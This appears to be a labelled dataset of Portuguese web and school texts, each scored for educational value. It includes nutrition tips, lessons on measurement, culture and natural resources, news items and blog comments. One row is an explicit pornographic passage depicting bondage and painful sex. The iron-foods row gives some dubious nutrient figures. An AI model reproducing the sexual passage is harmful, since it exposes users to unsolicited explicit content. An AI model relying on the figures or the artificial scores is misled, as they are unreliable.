+"O ferro é um mineral essencial no transporte de oxigênio no organismo, formação de glóbulos vermelhos, manutenção do sistema imunológico, produção e manutenção de vários neurotransmissores cerebrais e na proteção contra danos provocados por oxidantes. Portanto, confira 7 alimentos ricos em ferro.
+Fígado: O fígado é um excelente alimento rico em ferro, pois contêm cerca de 5 miligrama para cada 100 gramas de seu consumo.
+Grão de bico: Este legume fornecer ao seu corpo com quase 5 mg de ferro para cada 100g de seu consumo, além disso, ele é uma boa opção para os vegetarianos, pois ele é rico em proteínas.
+Beterraba: A beterraba é uma boa opção de alimentos ricos em ferro, já que ela tem 2,7 miligramas de ferro para cada 100 gramas de seu consumo.
+Feijão: Os feijões com todas as suas variedades são uma boa opção para alimentos ricos em ferro, já que ele contêm cerca de 8,6 mg para cada 100 g do seu consumo. porém, lembre-se que a Vitamina C ajuda na absorção do ferro.
+Espinafre cozido: O espinafre é uma excelente fonte de ferro, embora cozinhá-lo irá ajuda seu corpo absorver seus nutrientes mais facilmente. Apenas uma xícara de espinafre cozido contêm cerca de 6 mg de ferro, bem como proteínas, fibras, Cálcio, vitamina A e vitamina E.
+Lentilha: A tradicional especiaria de fim de ano também é uma opção para potencializar os níveis de ferro no organismo. Além disso, A lentilha previne a anemia, pois fornece altas quantidades de ferro.
+TAGS: Alimentação saudável , Alimentos ricos em ferro , Anemia , Crianças , Ferritina , Ferro , Nutrientes , Saúde infantil",original,original,original,original,3,0.6
+"Já parou para pensar em quantas vezes usamos medidas no nosso dia? Medir está presente em quase tudo que fazemos, desde cozinhar um bolo delicioso até planejar uma viagem incrível! E entender as medidas e grandezas é essencial para nos tornarmos verdadeiros exploradores do mundo da matemática. 
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+Vamos começar pelo básico: o que são grandezas? Grandezas são tudo aquilo que pode ser medido. O comprimento de uma mesa, a massa de um saco de arroz, o tempo que leva para ir à escola, a temperatura do nosso corpo, e até a área do seu quarto são exemplos de grandezas. Cada grandeza tem sua própria unidade de medida, que é como se fosse um ""sobrenome"" que a identifica. Por exemplo, o comprimento pode ser medido em metros (m), centímetros (cm) ou quilômetros (km), dependendo do que estamos medindo. A massa, por sua vez, pode ser medida em gramas (g) ou quilogramas (kg).
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+Imagine que você quer fazer um bolo para sua família. A receita pede 200 gramas de farinha, 150 ml de leite e 3 ovos. Percebe como as medidas são importantes? Se você colocar mais farinha do que o necessário, o bolo pode ficar duro. Se colocar menos leite, ele pode ficar seco. Entender as unidades de medida e saber como convertê-las (por exemplo, transformar gramas em quilogramas) é fundamental para o sucesso da sua receita!
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+Outro exemplo prático é o planejamento de uma viagem. Se você vai viajar de carro com seus pais, é importante saber a distância entre as cidades, o tempo que levará para chegar ao destino e o consumo de combustível do carro. Essas informações, que envolvem medidas de comprimento, tempo e capacidade, te ajudarão a organizar a viagem e evitar imprevistos.
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+Além disso, as medidas estão presentes em diversas profissões. Um engenheiro precisa medir com precisão os materiais de construção, um médico precisa medir a pressão arterial de um paciente, e um arquiteto precisa medir os espaços para projetar um edifício. Dominar as medidas e grandezas te abrirá muitas portas no futuro!
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+Para finalizar, vamos pensar um pouco: você já reparou como as unidades de medida influenciam a nossa percepção das coisas? Um campo de futebol parece muito grande, mas se medirmos a área dele em centímetros quadrados, o número será enorme e talvez perca um pouco o sentido. A escolha da unidade de medida correta facilita a nossa compreensão do mundo ao nosso redor.
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+Então, da próxima vez que você estiver cozinhando, viajando ou simplesmente observando o mundo, lembre-se da importância das medidas e grandezas. Elas são as ferramentas que nos permitem quantificar, comparar e entender o universo que nos cerca. Que tal começar a explorar as medidas hoje mesmo?",Matemática,Medidas e grandezas,anos finais (6º ao 9º ano),"O texto introduz o conceito de grandezas e medidas de forma clara e contextualizada, utilizando exemplos práticos do cotidiano, como cozinhar e planejar uma viagem. A linguagem é acessível e adequada para o ensino fundamental, promovendo a compreensão da importância das medidas em diversas situações. A progressão do texto é lógica, desde a definição de grandezas até a sua aplicação em diferentes áreas do conhecimento e profissões. Há uma boa conexão com o currículo escolar, abordando conceitos fundamentais da matemática.",5,1.0
+"Você já parou para pensar por que o Brasil é tão diverso e fascinante? A resposta está nas nossas tradições culturais, um verdadeiro mosaico de influências que moldaram quem somos hoje. Imagine que o Brasil é como uma grande tela, onde cada pincelada representa a contribuição de diferentes povos e costumes. Essas pinceladas, ao longo da história, criaram um quadro único e cheio de cores vibrantes.
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+Nossa cultura é resultado da mistura de tradições indígenas, africanas, europeias e, mais recentemente, asiáticas. Os povos indígenas, que já habitavam estas terras antes da chegada dos portugueses, deixaram um legado valioso na nossa culinária, no artesanato e no nosso vocabulário. Quem nunca ouviu falar de mandioca, aipim ou tapioca? Esses são apenas alguns exemplos da herança indígena que saboreamos no dia a dia. Além disso, muitas das nossas lendas e histórias fantásticas têm raízes nas crenças e mitos dos povos originários.
+
+A influência africana é igualmente marcante. Trazidos ao Brasil como escravizados, os africanos resistiram e preservaram suas tradições, que se manifestam na música, na dança, na religião e na culinária. O samba, o candomblé, a capoeira e a feijoada são exemplos poderosos da riqueza da cultura africana no Brasil. A musicalidade contagiante do samba, com seus ritmos e melodias, é um símbolo da nossa identidade nacional, assim como a capoeira, uma arte marcial que mistura luta, dança e acrobacia.
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+Os europeus, principalmente os portugueses, também trouxeram seus costumes e tradições. A língua portuguesa, a religião católica e muitos dos nossos hábitos alimentares são heranças da colonização europeia. As festas juninas, com suas comidas típicas e danças folclóricas, são um exemplo de como as tradições europeias se adaptaram e se misturaram com os costumes locais.
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+E não podemos esquecer das contribuições mais recentes de imigrantes de diversos países, como Japão, Itália e Alemanha, que também enriqueceram nossa cultura com suas tradições e costumes. A culinária japonesa, por exemplo, conquistou o paladar dos brasileiros, assim como a cultura italiana, com suas festas e músicas.
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+As tradições culturais brasileiras estão por toda parte, desde a maneira como celebramos o Carnaval até a forma como preparamos um simples café. Elas se manifestam nas festas populares, nas danças folclóricas, na culinária regional e nas manifestações religiosas. Cada região do Brasil possui suas próprias tradições, que refletem a diversidade e a riqueza da nossa cultura.
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+Que tal refletir um pouco sobre as tradições da sua família? Quais são os costumes que vocês mantêm e que foram passados de geração em geração? Como a cultura brasileira se manifesta no seu dia a dia? Explorar as nossas tradições culturais é uma forma de valorizar a nossa identidade e de fortalecer os laços que nos unem como brasileiros.",História,Tradições culturais,anos finais (6º ao 9º ano),"O texto apresenta alto valor educacional, adequado para o ensino fundamental. Introduz conceitos importantes sobre a diversidade cultural brasileira e suas influências (indígena, africana, europeia, asiática). O estilo de escrita é claro e consistente, facilitando a compreensão. O conteúdo é relevante, proveitoso e focado, promovendo um aprendizado estruturado sobre a formação da identidade cultural brasileira. A pergunta final estimula a reflexão e a valorização das tradições familiares.",5,1.0
+"Beleza do cristianismo – segundo Bento XVI – ZENIT – Portugues
+Beleza do cristianismo – segundo Bento XVI	«Com os pés na terra e com os olhos no céu», responde
+25 julho 2007RedacaoDicastérios e Diplomacia Vaticana	CIDADE DO VATICANO, quarta-feira, 25 de julho de 2007 (ZENIT.org).- O segredo da beleza do cristianismo está em valorizar também as coisas humanas, inclusive os jogos, porque vivemos «com os pés na terra e com os olhos no céu», explica Bento XVI. «Eu estaria contra a alternativa entre jogar o futebol ou estudar Sagrada Escritura ou Direito Canônico. Façamos as duas coisas», disse nesta terça-feira, em um encontro com 400 sacerdotes, perto de Lorenzago di Cadore, onde passa as férias. Um dos presbíteros recordou com o Santo Padre a rigidez de seus superiores em tempos do seminário, que lhe repreendiam porque «eu gostaria mais de jogar futebol que fazer a adoração eucarística». «Mas aproximar o homem de Deus e Deus do homem não passa sobretudo através do que chamamos ‘humanidade’, que é irrenunciável, inclusive para nós, os sacerdotes?», perguntou o presbítero ao pontífice. «Não podemos viver sempre na alta meditação; talvez um santo no último degrau de seu caminho terrestre pode chegar a este ponto, mas normalmente vivemos com os pés na terra e os olhos no céu», explicou o bispo de Roma. «O Senhor nos deu ambas coisas e, portanto, amar as coisas humanas, amar a beleza de sua terra, não é só muito humano, mas também muito cristão e precisamente católico.»
+«Uma boa pastoral, realmente católica, leva em conta este aspecto»: «viver a humanidade e o humanismo do homem, todos os dons que o Senhor nos deu e que desenvolvemos e, ao mesmo tempo, não esquecer de Deus, pois no final a luz vem de Deus, e só d’Ele procede a luz que dá alegria a todos estes aspectos.»
+«Portanto, eu gostaria de comprometer-me simplesmente na grande síntese católica»: «ser verdadeiramente homem».
+Ou seja, declarou, cada um, «segundo seus dons e segundo seu carisma», deve «amar a terra e a beleza que o Senhor nos deu, e agradecer porque na terra resplandece a luz de Deus, que dá o esplendor e a beleza a todo o resto». «Vivamos, neste sentido, a catolicidade com alegria. Esta seria minha resposta», reconheceu o Papa, suscitando o único aplauso do encontro. Share this Entry
+religioes	Embaixador espanhol no Vaticano convida a reconhecer papel da Igreja",original,original,original,original,2,0.4
+"Blog demanda mais tempo do que quem lê consegue imaginar. Por exemplo, neste momento eu poderia estar colocando as minhas séries em dia, assistindo a novela das 19h ou lendo qualquer outro livro que não faça parte das minhas parcerias. Mas eu estou aqui, escrevendo esse post para vocês porque, infelizmente, eu não posso fugir muito da programação do blog, se não vocês vão embora e não voltam mais.
+SOSELIT #7 Ebooks piratas e a cultura do “se eu gostar, eu compro”
+Eu sei como é difícil, ainda mais quando temos uma vida por fora né..Trabalho, estudo acaba se tornando tudo difícil mas quando fazemos aquilo que amar, fica tudo mais fácil..Eu criei o meus faz um ano e estou super dedicada a ele, as vezes nem tenho como mais sempre procura fazer o bom e do melhor..Adorei seu post!
+Nossa 5 anos já conheci o blog faz uns meses só e amo vir aqui.
+Imagino como você se sente, mas ainda bem que não desistiu e está aqui sempre inovando e trazendo conteúdos divertidos, diferentes para nós.
+Estava pensando justamente em como tudo começou, juro. Não faz muito tempo que conheci seu blog através do Instagram, mas é um dos meus favoritos e um dos poucos que me sinto mais a vontade para opinar. Não sinto que é de criador de conteúdo para leitor, mas uma conversa e gosto da opinião clara e sincera que trazem.
+Todo esforço é nítido e a organização do cenário que criou, as resenhas, TUDO, transborda tanto amor. De verdade. Toda dose de sucesso é merecida. Fico feliz que não tenha desistido.
+Eu até tentei criar um para mim, só que desisti pois não sabia como mexer.
+Mais Parabéns por ter persistido ao criar esse blog.
+Fico feliz que você tenha persistido com o blog!
+Imagino que demande muito tempo para ter a ideia, depois trabalhar nela, então tirar fotos e escrever um bom texto para todos os posts! Parabéns por todo o seu trabalho!
+Espero que você continue com ele por muito mais tempo! Sucesso sempre!
+Fico feliz que em um dia qualquer de 2013 você acordou com a vontade de criar um blog, fico mais feliz ainda por manter.
+Olhando de fora, parece um processo fácil, mas isso é tudo o que não é.
+Espero que estejamos retribuindo esse espaço de forma adequada.
+E não desista desse espaço, ele é lindo demais.
+Acho que quem mantém um blog com resenhas ou dicas de séries, filmes e afins, não acorda simplesmente e decide que vai abrir um blog e pronto. Acredito que já era algo que tipo vivia dentro de você e apenas despertou numa manhã!
+E também acho que ninguém sabe realmente como é todo o processo. Alguns blogs ainda mantém parcerias com Editoras, mas isso só vem com o tempo e pelo pouco que sei, número de seguidores. Alguns, vão na raça mesmo, como você!
+Tenho vindo aqui há apenas alguns dias e já o coloquei na minha lista de favoritos, que são os blogs que faço questão de ir diariamente. Como tempo pouquíssimo tempo, separo alguns e aqui está entre eles!
+Eu?? Apenas agradeço a dedicação!!!!",original,original,original,original,1,0.2
+"Já parou para pensar em como o nosso corpo é incrível? Ele é como uma máquina super potente, capaz de fazer tantas coisas: correr, pular, aprender, brincar e até sonhar! Mas para que essa máquina funcione direitinho, precisamos conhecer suas partes e como cuidar bem delas. Vamos embarcar nessa aventura?
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+Imagine que você tem um carro. Para ele andar, precisa de combustível, certo? No nosso corpo, o combustível são os alimentos! Quando comemos frutas, verduras, legumes, carnes e grãos, estamos dando ao nosso corpo a energia que ele precisa para crescer, brincar e estudar. É importante variar os alimentos para termos todas as vitaminas e nutrientes necessários. Pense nas cores no seu prato: quanto mais colorido, mais saudável!
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+Outra coisa super importante é beber água. A água é como o óleo do motor do carro, sabe? Ela ajuda a tudo funcionar direitinho dentro de nós. Ela leva os nutrientes para todas as partes do corpo, ajuda a regular a temperatura e ainda elimina o que não precisamos através do xixi e do suor. Por isso, não se esqueça de beber água ao longo do dia, principalmente quando estiver brincando e se exercitando.
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+Além de comer bem e beber água, o nosso corpo precisa de descanso. Dormir é como desligar o carro para ele esfriar e recarregar a bateria. Quando dormimos, o nosso corpo se recupera do dia, o cérebro organiza as informações e ficamos prontos para um novo dia cheio de aventuras. Tente dormir sempre no mesmo horário e por pelo menos 9 horas por noite, assim você terá energia de sobra para tudo!
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+E, por último, mas não menos importante, precisamos nos exercitar! Correr, pular, dançar, nadar… tudo isso faz bem para o nosso corpo. A atividade física fortalece os músculos e os ossos, melhora a circulação do sangue e ainda nos deixa mais felizes! Que tal chamar seus amigos para brincar de pega-pega no parque ou aprender uma nova dança? O importante é se movimentar e se divertir!
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+Cuidar do nosso corpo é como cuidar de um tesouro. Ele é a nossa casa, o nosso veículo, a nossa ferramenta para explorar o mundo. Ao comermos bem, bebermos água, dormirmos o suficiente e nos exercitarmos, estamos dando a ele tudo o que ele precisa para funcionar perfeitamente e nos permitir viver uma vida longa e feliz. Então, que tal começarmos agora mesmo a cuidar ainda mais da nossa incrível máquina humana? Lembre-se: um corpo saudável é um corpo feliz!",Ciências,Corpo humano e saúde,anos iniciais (1º ao 5º ano),"O texto é adequado para o ensino fundamental, abordando a importância de cuidar do corpo de forma lúdica e acessível para crianças. Utiliza analogias simples (carro e máquina) para explicar conceitos de nutrição, hidratação, descanso e exercício. O estilo de escrita é claro e motivador, incentivando hábitos saudáveis. A linguagem é apropriada e o conteúdo é relevante para a saúde e bem-estar dos alunos.",5,1.0
+"Como tratar cardiopatias de forma natural - Meu Cão Velhinho Como tratar cardiopatias de forma natural - Meu Cão Velhinho
+>> Como tratar cardiopatias de forma natural
+Você sabia que a dieta é um dos componentes mais importantes no tratamento das doenças cardíacas? e que, com uma nutrição adequada, é possível não apenas melhorar a qualidade de vida do seu cão, como reduzir as quantidades de medicamentos necessárias e prolongar a sua vida?
+Quando um cão tem insuficiência cardíaca, numa tentativa de manter a pressão arterial e a perfusão tecidual (ou seja: fazer com que o sangue chegue em todos os lugares), o seu corpo ativa mecanismos que são chamados compensatórios, que nada mais são do que tentativas de “compensar” um desequilíbrio com outro. No caso da insuficiência cardíaca, o coração não consegue mais bombear o sangue adequadamente para todo o corpo; para tentar fazer com que o sangue chegue a todos os lugares do corpo, um sistema complexo faz com que o coração bata mais rápido (taquicardia), as artérias fiquem mais estreitas (vasoconstrição) para aumentar a pressão sanguínea, e ocorra a retenção de sódio (sal) e de água. O resultado deste mecanismo, inteligente e eficaz a curto prazo, porém extremamente danoso a longo prazo, é que o sangue passa a circular mais rapidamente, com maior pressão, e em maior volume.
+O problema é que as doenças cardíacas não são de “curto prazo”, muito pelo contrário; e a consequência disso é que o mecanismo que deveria ajudar o corpo a funcionar melhor, na verdade acaba por sobrecarregar ainda mais um coração que já não estava dando conta do recado – afinal, agora ele precisa bombear mais sangue, mais rapidamente, e com maior pressão. A médio/ longo prazo, este mecanismo compensatório se torna bastante prejudicial ao organismo, e, além de agravar a própria doença cardíaca, levando a complicações como dificuldade respiratória e edema pulmonar, ainda pode causar problemas renais.
+E o que a dieta tem a ver com isso tudo? Bom, a chave aqui é o sódio: todo mundo sabe que pessoas com problema de pressão alta não devem consumir alimentos com excesso de sal, pois eles fazem com que a pressão aumente. A mesma regra vale para os nossos amigos cães. Lembra que mencionamos acima, que, numa tentativa de compensar o problema cardíaco, o corpo começa a reter sódio e tentar aumentar a pressão sanguínea? É este o mecanismo que nós temos que deter. Inclusive, boa parte dos medicamentos utilizados no tratamento de doenças cardíacas se presta exatamente a isso: a tentar conter este mecanismo.
+Um cão com doença cardíaca deve, portanto, consumir menos sal. Tenhamos claro, aqui, que menos sal não é sinônimo de nenhum sal. A total ausência de sal na dieta também é prejudicial, pois pode, também (adivinha?), ativar os mesmos mecanismos compensatórios que estamos tentando conter. Estranho, mas é verdade: ao notar que o indivíduo não está consumindo sal, o corpo irá se esforçar ao máximo para “segurar” o que tem…
+MAS QUANTO SAL?
+Infelizmente, ainda não há um consenso quanto a isso. Não estão estipulados, ainda, valores mínimos ou máximos que um cão deve consumir, seja em condições normais, seja com doença cardíaca. Alguns estudos têm sugerido que, para cães com insuficiência cardíaca leve, é indicado que o sódio represente de 0,15% a 0,25% da matéria seca ingerida, e de 0,08% a 0,15% para cães com insuficiência cardíaca avançada.
+Para se ter uma comparação com as dietas comerciais específicas para cães cardiopatas disponíveis no Brasil, temos que:
+A Royal Canin Early Cardiac Canine (seca) contém 0,16% de sódio;
+A Hill’s Prescription Diet h/d contém 0,08% de sódio;
+A Equilíbrio Veterinary Cardiac contém 0,2% de sódio;
+A Premiatta Canine Cardiac contém 0,06% de sódio;
+A Premier Nutrição Clínica Cardio Cães contém 0,15% de sódio.
+Além dos teores restritos de sódio, as rações comerciais específicas para cães com problemas cardíacos contêm outros nutrientes importantes que ajudam na melhora da função cardíaca, tais como antio...",original,original,original,original,2,0.4
+"os dias de hoje marcam definitivamente a história do STF., tudo daqui para frente será o antes e o depois do julgamento do mensalão; penso que se prosperar a decisão de novo julgamento, o STF., cairá no maior descrédito já visto na história de uma nação, e o ruím disso é que se perdendo a credibilidade de uma Instituição como essa as seguranças jurídicas serão abaladas para sempre e a fé na Justiça jamais será a mesma e as consequencias imprivisíveis.",original,original,original,original,1,0.2
+"Já parou para pensar de onde vem tudo o que usamos no dia a dia? A água que bebemos, a comida que comemos, a roupa que vestimos, o celular que usamos… Tudo, de alguma forma, vem da natureza! Esses elementos que a natureza nos oferece e que utilizamos para viver são chamados de recursos naturais.
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+**O Que São Recursos Naturais?**
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+Recursos naturais são tudo aquilo que retiramos diretamente da natureza para suprir nossas necessidades. Eles podem ser classificados de diversas formas, mas uma das mais importantes é dividi-los em renováveis e não renováveis.
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+*   **Recursos Renováveis:** São aqueles que a natureza repõe em um período relativamente curto de tempo. Alguns exemplos são a água (através do ciclo da água), a energia solar, o vento e a biomassa (matéria orgânica como plantas e algas). Isso não significa que podemos usar esses recursos de forma irresponsável! A água, por exemplo, pode se tornar escassa se não cuidarmos das nascentes e rios.
+*   **Recursos Não Renováveis:** São aqueles que existem em quantidade limitada na natureza e levam milhões de anos para se formar, ou seja, a natureza não consegue repô-los em um tempo útil para nós. O petróleo, o carvão mineral e os minérios (como o ferro e o alumínio) são exemplos de recursos não renováveis. A utilização desses recursos deve ser feita com muita cautela, buscando alternativas mais sustentáveis.
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+**A Importância dos Recursos Naturais**
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+Os recursos naturais são essenciais para a nossa sobrevivência e para o desenvolvimento da sociedade. Eles nos fornecem:
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+*   **Alimentos:** A agricultura e a pecuária dependem da terra, da água e da luz solar para produzir alimentos.
+*   **Energia:** Utilizamos recursos como o petróleo, o gás natural, o vento e a água para gerar energia elétrica.
+*   **Matérias-primas:** A madeira, o algodão, o minério de ferro e muitos outros recursos são utilizados na fabricação de diversos produtos.
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+**O Uso Consciente dos Recursos Naturais**
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+É fundamental que utilizemos os recursos naturais de forma consciente e responsável, para garantir que eles estejam disponíveis para as futuras gerações. Isso significa:
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+*   **Reduzir o consumo:** Evitar o desperdício de água, energia e alimentos.
+*   **Reutilizar:** Dar uma nova utilidade a objetos e materiais que seriam descartados.
+*   **Reciclar:** Transformar materiais usados em novos produtos.
+*   **Preservar:** Proteger as florestas, os rios e os oceanos.
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+**Para Refletir:**
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+*   Quais recursos naturais você utiliza no seu dia a dia?
+*   O que você pode fazer para usar os recursos naturais de forma mais consciente?
+*   Como a sua comunidade lida com os recursos naturais?
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+Lembre-se: Cuidar dos recursos naturais é cuidar do nosso planeta e do nosso futuro!",Geografia,Recursos naturais,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de recursos naturais de forma clara e acessível para o ensino fundamental. Explica a diferença entre recursos renováveis e não renováveis, a importância deles para a sociedade e a necessidade de uso consciente, incentivando a reflexão e ação. O texto é bem estruturado, com linguagem adequada e perguntas que estimulam o pensamento crítico dos alunos.",5,1.0
+" Projeto RYLA | Leonardo Allevato
+Rotary, RYLA
+by Leonardo Allevato on abril 2nd, 2014
+O RYLA (Prêmios Rotários de Liderança Juvenil) é um programa intensivo do Rotary International de treinamento para pessoas de 14 a 30 anos de idade, que buscam o aprimoramento do caráter e o desenvolvimento da capacidade de liderança. Os jovens selecionados participam de eventos (seminários, workshops, acampamentos) de um a dez dias de duração organizados por rotarianos de um ou vários clubes ou distritos.
+No dia 29 de março de 2014, o Rotary Club Coronel Fabriciano Norte, pertencente ao Distrito 4520, realizou um RYLA na região do Vale do Aço, MG. Cerca de 40 jovens atenderam ao chamado para participar do evento, mostrando a importância do projeto na vida desses jovens. Para esse primeiro evento do clube, foi programado um ciclo de palestras de um dia inteiro, com intervalos para almoço e lanche fornecidos pela organização do evento e pelas empresas parceiras.
+Logo após a abertura do evento, o Sr. Antonio, proprietário da rede de padarias Premially, empresa parceira do evento, pediu a palavra e falou para os jovens da importância desse evento no futuro das cidades da região, justificando seu apoio constante aos projetos do Rotary.
+Para começar o ciclo de palestras, o companheiro João Bosco, do RC Coronel Fabriciano Norte, falou sobre o Rotary e os programas para jovens, destacando o Rotaract, o Interact, os programas de intercâmbio e o próprio RYLA.
+A seguir, o companheiro José Amilar, do RC Ipatinga, falou sobre o tema “Promovendo a paz mundial através do Rotary”, mostrando aos jovens o trabalho que o Rotary faz no mundo inteiro visando à paz.
+Foi interessante observar que, por causa dessas duas palestras, onde houve inserções dos presidentes do Rotaract e do Interact do clube, muitos jovens participantes procuraram saber mais informações sobre esse programa, mostrando interessa em participar, principalmente, do Interact.
+O Dr. Alysson Campos renomado médico e escritor da região falou sobre “Liderança na juventude”, mostrando aos jovens os caminhos que levam ao sucesso pessoal e profissional.
+O professor Wallace Carvalho, coordenador do curso de Direito do UNILESTE falou logo em seguida sobre “Como escolher a melhor carreira profissional”, dando subsídio aos jovens para as decisões que serão tomadas em um futuro muito próximo.
+Um dos temas que coube a mim foi “O dia a dia em uma universidade”, onde fiz um comparativo sobre a escola – muitos deles já estão frequentando o Ensino Médio – e a faculdade que logo baterá às suas portas.
+Depois do almoço, voltei a falar para os jovens, dessa vez sobre empreendedorismo e muito do que falei já havia sido falado por palestrantes anteriores, o que mostra que a escolha dos temas foi acertada e puderam fortalecer os conceitos apresentados.
+A psicóloga Carmem Carvalho falou sobre o panorama do mercado de trabalho na região do Vale do Aço, do alto de sua experiência como orientadora de testes vocacionais para jovens, apresentando muitos casos interessantes.
+O Dr. Vinícius Mesquita, defensor público da cidade de Ipatinga falou sobre a questão dos concursos públicos, contando sua experiência como “concurseiro” e, agora, como concursado, mostrando os prós e os contras de se escolher esse caminho na vida profissional.
+Para finalizar, o companheiro Gláucio Jr, proprietário da rede de óticas Maria José, deu uma verdadeira aula de empreendedorismo, contando sua trajetória profissional e o caso de sucesso que é seu empreendimento.
+Ao final do evento, os participantes receberam um certificado de participação e preencheram uma avaliação, que será utilizada para melhorar os próximos eventos, que pretendemos tornar um projeto permanente do RC Coronel Fabriciano Norte.
+Para esse primeiro evento, não foi programado nada mais “prático”, justamente porque não saberíamos como seria a aceitação dos participantes. Entretanto, um dos pontos mais sugeridos na avaliação foi que o próximo evento tenha atividades mais práticas ...",original,original,original,original,4,0.8
+"15/11/2017 Por Victória Silva Agenda de Santos e região, Para visitar
+Bartholomeu de Gusmão é um nome popular em Santos e região.
+Ele está em avenidas, escolas e outros equipamentos. Mas você sabe quem foi o dono desse nome e o motivo de receber tantas homenagens?
+Estamos falando de um sacerdote e inventor que nasceu aqui em Santos. O padre passava as horas vagas inventando coisas, como, por exemplo, o primeiro balão do mundo e a passarola.
+A lista é grande e você vai poder conhecê-la em detalhes em uma exposição sobre Bartolomeu de Gusmão no Museu Pelé.
+Até o mês de dezembro, quem passar pelo equipamento pode conferir uma exposição dedicada aos inventos de Bartholomeu de Gusmão.
+No total, 13 maquetes – todas de autoria de João Inácio da Silva Filho – integram a mostra histórica. Para ficar ainda mais interessante, a visitação é gratuita.
+Entre os destaques dessa exibição, está um forno solar, construído com lentes e capaz de assar carnes há mais de 300 anos. Dá para imaginar algo desse tipo? Difícil, nós sabemos, e também estamos curiosos para conferir de perto.
+Para completar o acervo, está exposto documento da Biblioteca Pública Municipal da Cidade do Porto (Portugal), que comprova ter sido o padre santista o primeiro cientista a acreditar na possibilidade de o homem voar, utilizando um balão de ar quente!
+Santos, pioneira em tudo * risos *
+Bartholomeu de Gusmão
+Primeiro cientista das Américas e mais conhecido como padre voador, por ter inventado o aeróstato (o balão de ar quente), Bartholomeu de Gusmão também criou o sistema de automação para drenar água dos porões, utilizado até hoje pelos navios, e o carneiro hidráulico, que bombeia água utilizando sua própria força.
+Considerado o “avô da aviação”, foi também responsável pela criação de códigos criptografados e de adaptações para melhorar a eficiência dos moinhos de vento, entre muitos outros inventos.
+Ficou curioso? Então passe pelo Museu Pelé e confira a exposição, em cartaz até dezembro. A visitação acontece de terça-feira a domingo, das 10 às 18 horas e a entrada é gratuita. Aproveite a ida ao Centro Histórico para fazer esses outros passeios 😉
+O Museu Pelé fica no Largo Marquês de Monte Alegre, s/n – Valongo,
+O que fazer em Santos no fim de semana – de 17 a 20 de maio
+O que fazer em Santos no fim de semana – de 10 a 13 de maio
+O que fazer em Santos no fim de semana – de 3 a 6 de maio
+O que fazer em Santos no fim de semana – de 26 a 30 de abril
+5 Motivos para ir à mostra do Museu da Língua Portuguesa em Santos",original,original,original,original,3,0.6
+"Macho prende sua namoradinha na cozinha de casa para fazer com ela uma putaria brutal e torturar a safadinha do jeitinho que ela gosta. A vagabunda geme gostoso quando seu namorao pega ela toda nua e amarra suas mãos e seus pés, fazendo a safada completamente sua submissa. Ele começa a dar tapas fortes na bundinha dessa vagabunda, que fica cada vez mais molhadinha de tesão vendo a rola do seu macho ficar dura enquanto ela apanha. A gostosa pede rola no seu cuzinho, então o macho bota ela ainda amarrada em cima do balcão e soca com força naquele cu, fazendo a putinha gritar de tanta dor!",original,original,original,original,0,0.0
+"Educacional-ProfªTereza: Maio 2011
+Postado por Profª Tereza às 15:55 Nenhum comentário: Links para esta postagem
+Curso PROINFO - TIC
+Aprender nunca é demais. Curso realizado SME de São José dos Campos coordenado pela formadora Beatriz Americano.
+Momento de aprender a utilizar de maneira eficaz esse recurso tecnológico, através da prática efetiva, ou seja aprender fazer fazendo. Além de ser um momento de troca de experiências entre as colegas.
+O curso está ótimo, estou aprendendo muito!
+Postado por Profª Tereza às 18:48 3 comentários: Links para esta postagem
+Que tal trabalhar a produção de textos?
+Uma boa oportunidade é pedir para os alunos descreverem sobre a mãe deles.
+Postado por Profª Tereza às 16:32 Nenhum comentário: Links para esta postagem
+Cerca de 500 alunos dos anos iniciais da EMEF Prof. Álvaro Gonçalves realizaram o carnaval da Dengue. O objetivo era trabalhar de forma lúdica a prevenção da doença. Professores e alunos fizeram paródias das marchinhas de carnaval com o tema. Também foram confeccionadas máscaras carnavalescas que lembravam o mosquito da dengue.
+http://www.sjc.sp.gov.br/sms/noticias.asp?id=25283
+Postado por Profª Tereza às 16:22 2 comentários: Links para esta postagem
+Postado por Profª Tereza às 15:50 Nenhum comentário: Links para esta postagem
+Sou professora da rede municipal de São José dos Campos. Atuo no ensino fundamental. Sou casada e tenho dois filhos lindos. Sou uma pessoa de muita fé, acredito muito em Deus, nas pessoas e também na educação. Este espaço é para divulgação dos trabalhos realizados com as turmas e também de trocas de experiências.Sejam bem vindos!!!!",original,original,original,original,2,0.4
+"Presentes de Luiza Moreira - Anjo de Luz
+Presentes de Luiza Moreira (8)
+Dar um presente para Luiza Moreira
+Em 4:52am on janeiro 18, 2011, Sérgio Alexandre(Anjo em Chamas) deu para Luiza Moreira um presente...
+Em 11:27pm on janeiro 09, 2011, Ana Lúcia deu para Luiza Moreira um presente...
+Boa noite querida irmã de luz.
+Em 12:09am on dezembro 25, 2010, Cláudio Luiz Pinheiro deu para Luiza Moreira um presente...
+Em 5:47pm on dezembro 24, 2010, PAULO CESAR deu para Luiza Moreira um presente...
+Em 5:54pm on dezembro 19, 2010, Maria Luisa deu para Luiza Moreira um presente...
+Em 11:14pm on agosto 09, 2010, Nirley Crespi deu para Luiza Moreira um presente...",original,original,original,original,0,0.0
+"Pare de treinar sem rumo e comece a treinar para a aventura
+Descubra os melhores exercícios do Freeletics para preparar seu corpo para o montanhismo, caminhadas em trilhas, esqui e snowboard.
+Os esportes de montanha são extremos – extremamente gratificantes, extremamente aventureiros, extremamente atléticos. Mas isso não significa que eles se restrinjam apenas a atletas extremos. Se você quiser se tornar um aventureiro que busca emoção, que passa seu tempo no ar livre, no alto, assistindo o nascer e o por do sol, é só escolher seu esporte ao ar livre e preparar fisicamente seu corpo para a escalada. Pronto para despertar o aventureiro dentro de você? Veja como treinar para a aventura:
+Trilha e montanhismo
+O alpinismo e a caminhada em trilhas incluem movimentos cíclicos (movimentos únicos repetidos). Embora seja provável que você fique na zona aeróbica (o caminho da energia que usa oxigênio e que é usado para atividades de duração mais longa), a velocidade e a altitude podem tornar a caminhada uma experiência exaustiva e que não deve ser subestimada. Prepare-se treinando o seguinte:
+Panturrilhas: Quando você anda numa subida, seus músculos da panturrilha são estendidos. Quanto mais íngreme for, mais eles são esticados, o que pode resultar em uma sensação de queimação desagradável cada vez que seu pé atingir o chão. É por isso que é importante que você treine bem este grupo muscular com exercícios de perna que se concentrem em salto e resistência, tais como squats, lunges, split lunges, side lunges ou cossacks squats. Claro que sem esquecer o óbvio, calf-raises.
